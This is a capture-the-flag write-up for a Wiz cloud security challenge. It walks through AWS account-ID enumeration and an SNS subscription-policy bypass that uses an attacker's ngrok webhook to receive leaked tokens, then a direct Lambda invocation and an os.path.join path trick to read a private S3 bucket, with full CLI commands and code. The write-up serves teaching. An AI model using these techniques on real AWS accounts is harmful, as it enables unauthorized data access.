Skip to content

Wiz The Ultimate Cloud Security Championship: Happy Birthday


Arbaaz Jamadar
Written by
Arbaaz Jamadar
Cloud Security Engineer | OSCP | AWS Security Specialty | CySA+ | Threat Detection & Incident Response

image.png

Happy 20th Birthday, Amazon S3!

To celebrate this milestone, someone set up a birthday party website. Sign up with your email to receive a personalized party invitation.

Can you find the hidden present?

Start here: Wiz: Cloud Security Championship

Initial Enumeration

handler.py (Lambda function):

import hashlib
import hmac
import json
import os
import re
import time
import uuid

import boto3

s3 = boto3.client("s3")
sns = boto3.client("sns")
PRIVATE_BUCKET = os.environ.get("PRIVATE_BUCKET")
PUBLIC_BUCKET = os.environ.get("PUBLIC_BUCKET")
SNS_TOPIC_ARN = os.environ.get("SNS_TOPIC_ARN")
TOKEN_SECRET = os.environ.get("TOKEN_SECRET")
TOKEN_TTL = 3600  # 1 hour
ALLOWED_DOMAIN = "@cloudsecuritychampionship.com"
API_BASE_URL = os.environ.get("API_BASE_URL")

EMAIL_RE = re.compile(r"^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$")

SNS_TOPIC_NAME = SNS_TOPIC_ARN.split(":")[-1] if SNS_TOPIC_ARN else ""

## Generate token
def _make_token():
    ts = str(int(time.time()))
    sig = hmac.new(TOKEN_SECRET.encode(), ts.encode(), hashlib.sha256).hexdigest()[:16]
    return f"{ts}:{sig}"

## Verify if the token provided is valid
def _verify_token(token):
    try:
        ts, sig = token.split(":", 1)
        expected = hmac.new(
            TOKEN_SECRET.encode(), ts.encode(), hashlib.sha256
        ).hexdigest()[:16]
        if not hmac.compare_digest(sig, expected):
            return False
        if time.time() - int(ts) > TOKEN_TTL:
            return False
        return True
    except Exception:
        return False

## Template is user controlled a user with valid token can manipulate the template
## read template uses the provided template name to retrieve object from the private s3 bucket
def _read_template(template):
    if ".." in template:
        return None, "Invalid template name."

    template_key = os.path.join("templates", f"{template}.txt")

    try:
        obj = s3.get_object(Bucket=PRIVATE_BUCKET, Key=template_key)
        return obj["Body"].read().decode(), None
    except Exception:
        return None, "Template not found."

## Lambda Function handler function
def handler(event, context):
        ## event containing requestContext, is determined to come froom APIGateway
    is_apigw = "requestContext" in event
    ## This flow will be used if the request is routed via apigateway
    if is_apigw:
        body = json.loads(event.get("body") or "{}")
        resource_path = event.get("resource", "")
              ## Used to read template from private bucket and put in the public bucket
        if resource_path == "/register":
            token = body.get("token", "")
            template = body.get("template", "default_balloon")

            if not token or not _verify_token(token):
                return _response(
                    403,
                    {
                        "status": "error",
                        "message": "Invalid or expired invitation token.",
                    },
                )

            content, err = _read_template(template)
            if err:
                return _response(400, {"status": "error", "message": err})

            name = body.get("name", "Guest")
            card_content = content.replace("{{name}}", name)

            card_id = str(uuid.uuid4())
            card_key = f"cards/{card_id}.html"

            try:
                s3.put_object(
                    Bucket=PUBLIC_BUCKET,
                    Key=card_key,
                    Body=card_content,
                    ContentType="text/html",
                )
            except Exception:
                pass

            card_url = f"https://{PUBLIC_BUCKET}.s3.amazonaws.com/{card_key}"

            return _response(
                200,
                {
                    "status": "success",
                    "message": "Registration complete! Here is your birthday card.",
                    "card_url": card_url,
                },
            )

        # /generate endpoint
        ## The email needs to end with @cloudsecuritychampionship.com and there is no way to bypass the regex
        email = body.get("email", "")

        if not email:
            return _response(400, {"status": "error", "message": "Email is required."})

        if not EMAIL_RE.match(email):
            return _response(
                400,
                {"status": "error", "message": "Please enter a valid email address."},
            )
                ## Exposes the SNS topic name
        if not email.endswith(ALLOWED_DOMAIN):
            return _response(
                403,
                {
                    "status": "error",
                    "message": (
                        f"Only {ALLOWED_DOMAIN} email addresses are eligible."
                        f" Invitations are delivered via the {SNS_TOPIC_NAME}"
                        f" notification channel."
                    ),
                },
            )
                ## Add an email that satisfies the regex, as a subscriber to the SNS Topic
        try:
            sns.subscribe(
                TopicArn=SNS_TOPIC_ARN,
                Protocol="email",
                Endpoint=email,
            )
        except Exception as e:
            return _response(
                500,
                {"status": "error", "message": f"Failed to send invitation: {str(e)}"},
            )

        token = _make_token()
        register_url = f"{API_BASE_URL}/register.html?token={token}"
                ## The topic will be published after a successfull email registration
                ## The sns topic publishes tokens and function name
        try:
            sns.publish(
                TopicArn=SNS_TOPIC_ARN,
                Subject="Your Birthday Party Invitation!",
                Message=json.dumps(
                    {
                        "message": "You're invited to the S3 Birthday Party!",
                        "action": "Complete your registration to get your personalized birthday card.",
                        "registration_url": register_url,
                        "token": token,
                        "expires_in": "1 hour",
                        "generated_by": context.function_name,
                    }
                ),
            )
        except Exception:
            pass

        return _response(
            200,
            {
                "status": "success",
                "message": "Invitation sent! Check your email.",
            },
        )

    # Direct invocation path: requires valid token
    ## Direct Lambda invocations will require token (if token is invalid the function will not be activated)
    token = event.get("token", "")
    ## Manipulate to read objects from the private bucket
    template = event.get("template", "default_balloon")

    if not token or not _verify_token(token):
        return {"status": "error", "message": "Invalid or expired invitation token."}

    content, err = _read_template(template)
    if err:
        return {"status": "error", "message": err}

    card_content = content.replace("{{name}}", event.get("name", "Friend"))

    return {
        "status": "success",
        "data": {
            "card_content": card_content,
        },
    }

def _response(status_code, body):
    return {
        "statusCode": status_code,
        "headers": {
            "Content-Type": "application/json",
            "Access-Control-Allow-Origin": "*",
            "Access-Control-Allow-Methods": "POST, OPTIONS",
            "Access-Control-Allow-Headers": "Content-Type",
        },
        "body": json.dumps(body),
    }

Lambda(Execution policy):

Lambda is allowed to Getobjects from private bucket, Put objects in public bucket, and subscribe/publish to a sns topic (needs specific topic arn)

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::<private-bucket>/*"
    },
    {
      "Effect": "Allow",
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::<public-bucket>/cards/*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "sns:Subscribe",
        "sns:Publish"
      ],
      "Resource": "arn:aws:sns:<region>:<account-id>:<topic-name>"
    }
  ]
}

Lambda(Resource policy):

Lambda can be invoked by any principal, it is possible that a cross account user can invoke the lambda function

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "lambda:InvokeFunction",
      "Resource": "arn:aws:lambda:<region>:<account-id>:function:<function-name>"
    }
  ]
}

SNS(Resource policy):

A cross account user can perform subscribe action on the specified topic name.

The StringLike condition is loose, it only checks if the provided endpoint ends with @cloudsecuritychampionship.com

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowCompanySubscriptions",
      "Effect": "Allow",
      "Principal": "*",
      "Action": "sns:Subscribe",
      "Resource": "arn:aws:sns:<region>:<account-id>:<topic-name>",
      "Condition": {
        "StringLike": {
          "sns:Endpoint": "*@cloudsecuritychampionship.com"
        }
      }
    }
  ]
}

Data Exfiltration:

  1. We now know that we can subscribe to the SNS topic directly
  2. To subscribe to a topic we need a full TopicArn , this means we have to build the TopicArn

SNS Topic Name:

  1. We know that the error message leaks the topic name
  2. The error message leaks the Topic name BirthdayPartyInvites

image.png

Account ID:

  1. The website is hosted on S3 bucket and is being fronted by CloudFront
  2. The metadata contains the name of the public S3 bucket, wiz-birthday-s3-party
  3. We can enumerate AccountID by leveraging s3:ResourceAccount policy condition
  4. After successfully creating the prerequisite role and user, we were able to deduce AccountID from the S3 bucket.
    1. Note → It is visible that the bucket itself is not accessible publicly only it objects are, so we need to identify objects that have public access enabled.
    2. I used two known objects to identify and verify the objects are publicly available.
      1. https://wiz-birthday-s3-party.s3.amazonaws.com/index.html
      2. https://wiz-birthday-s3-party.s3.amazonaws.com/register.html
  5. The AccountID is 370540381921

image.png

image.png

image.png

image.png

image.png

Region:

  1. A post request is made to and API endpoint, the endpoint url contains the api identifier and region https://gzk65xqjn8.execute-api.us-east-1.amazonaws.com/prod/generate
  2. The region is us-east-1

image.png

Subscribing to the SNS Topic:

  1. We can deduce a full TopicARN with all our enumerations of public services.

  2. TopicARN → arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites

    1. I was able to verify the TopicARN

      aws sns subscribe --topic-arn "arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites" --protocol email --notification-endpoint arbazij@cloudsecuritychampionship.com

      image.png

  3. My first though was to add my email as a subscriber to the topic, however this is not possible as the condition checks if the email ends with @cloudsecuritychampionship.com and there is no way to bypass the condition.

  4. However, there 9 kind of protocol that can be used to subscribe to an sns topic. As the condition doesn’t verify the protocol being used to subscribe to the topic we can try to create a HTTP/HTTPS endpoint that can subscribe to the topic.

    1. AWS SNS
  5. Pre-requisites:

    1. A HTTP/HTTPS service that can be accessed via the internet and can adhere to the HTTP/HTTPS subscriber standard for SNS.
    2. HTTP Subscriber
    3. The endpoint for the HTTP/HTTPS service should end with @cloudsecuritychampionship.com to satisfy the conditional check in the resource policy.
  6. I am using ngrok, for publicly exposing the HTTPS service so that the SNS Topic can reachout to my service.

    import json
    import requests
    from flask import Flask, request, jsonify
    
    app = Flask(__name__)
    
    @app.route('/arbaazzzz@cloudsecuritychampionship.com', methods=['POST'])
    def sns_webhook():
        """Handle incoming SNS messages."""
        # Parse the raw request body
        try:
            message = json.loads(request.data)
        except json.JSONDecodeError:
            return 'Invalid JSON', 400
    
        message_type = request.headers.get('x-amz-sns-message-type')
    
        if message_type == 'SubscriptionConfirmation':
            # Confirm the subscription by visiting the URL
            subscribe_url = message.get('SubscribeURL')
            if subscribe_url:
                response = requests.get(subscribe_url)
                print(f'Subscription confirmed: {response.status_code}')
            return 'Confirmed', 200
    
        elif message_type == 'Notification':
            # Process the actual message
            subject = message.get('Subject', '')
            body = message.get('Message', '')
    
            try:
                payload = json.loads(body)
            except json.JSONDecodeError:
                payload = {'text': body}
    
            print(f'Notification received - Subject: {subject}')
            process_notification(payload)
            return 'OK', 200
    
        elif message_type == 'UnsubscribeConfirmation':
            print('Unsubscribe confirmed')
            return 'OK', 200
    
        return 'Unknown message type', 400
    
    def process_notification(payload):
        """Your business logic here."""
        print(f'Processing: {payload}')
    
    if __name__ == '__main__':
        app.run(port=80)
  7. Start the service, and use ngrok to route requests to http://loclhost:80

    image.png

    image.png

  8. Now all that’s left is to add the HTTPS service as a subscriber to the SNS topic.

    aws sns subscribe --topic-arn "arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites" --protocol https --notif
    ication-endpoint https://9915-162-238-249-9.ngrok-free.app/arbaazzzz@cloudsecuritychampionship.com

    Successful Registration:

    image.png

  9. After confirming the subscription we can just trigger a valid workflow by using a mail that meets the @cloudsecuritychampionship.com condition defined in lambda function.

image.png

image.png

image.png

  1. We get the Message, as the message is published to every subscriber of the SNS Topic.

    {
    'message': "You're invited to the S3 Birthday Party!", 
    'action': 'Complete your registration to get your personalized birthday card.', 
    'registration_url': 'https://happybirthday.cloudsecuritychampionship.com/register.html?token=1775228463:87529c2e6f4f2dce', 
    'token': '1775228463:87529c2e6f4f2dce', 
    'expires_in': '1 hour', 
    'generated_by': 'GenerateBirthdayCard'
    }
  2. Now we have the lambda function name and a token, we can use it to directly invoke the lambda function.

    1. Token → 1775228463:87529c2e6f4f2dce (expires in 1 hour)
    2. Function name → GenerateBirthdayCard

Invoking Lambda Function:

  1. AWS Lambda
  2. The ARN for lambda function → arn:aws:lambda:us-east-1:370540381921:function:GenerateBirthdayCard

  3. Payload we need to send to successfully meet the lambda function requirements

    {"token":"1775228463:87529c2e6f4f2dce", "template":"default_balloon", "name":"Arbaaz"}
  4. We can retrieve objects from private bucket using direct lambda invocation:

    aws lambda invoke --function-name arn:aws:lambda:us-east-1:370540381921:function:GenerateBirthdayCard --cli-binary raw-in-base64-out --payload '{"token":"1775228463:87529c2e6f4f2dce", "template":"default_balloon", "name":"Arbaaz"}' default_template.json

    image.png

    image.png

  5. To retrieve the flag:

    1. The first approach was to use try to retrieve flag.txt form templates however, there is no object such as template/flag.txt

      aws lambda invoke --function-name arn:aws:lambda:us-east-1:370540381921:function:GenerateBirthdayCard --cli-binary raw-in-base64-out --payload '{"token":"1775228463:87529c2e6f4f2dce", "template":"flag", "name":"Arbaaz"}' template_flag.json
      1. The template_key will be /template/flag.txt

      image.png

    2. We can see that the key is being constructed with os.path.join , Geeks For Geeks

    3. If we provide "/" in template it is treated as an absolute path, which resets the previous components in this case it will disregard template. As a result, only "/" remains in the output.

    4. Using this we can check for flag at the root of the bucket, by using template=/flag which means the object will be template_key=flag.txt , giving us our flag

      aws lambda invoke --function-name arn:aws:lambda:us-east-1:370540381921:function:GenerateBirthdayCard --cli-binary raw-in-base64-out --payload '{"token":"1775228463:87529c2e6f4f2dce", "template
      ":"/flag", "name":"Arbaaz"}' s3_flag.json

      image.png

Feel free to reachout on LinkedIn or any of my socials in case you need help with the challenge.

Wiz_completion_cert.png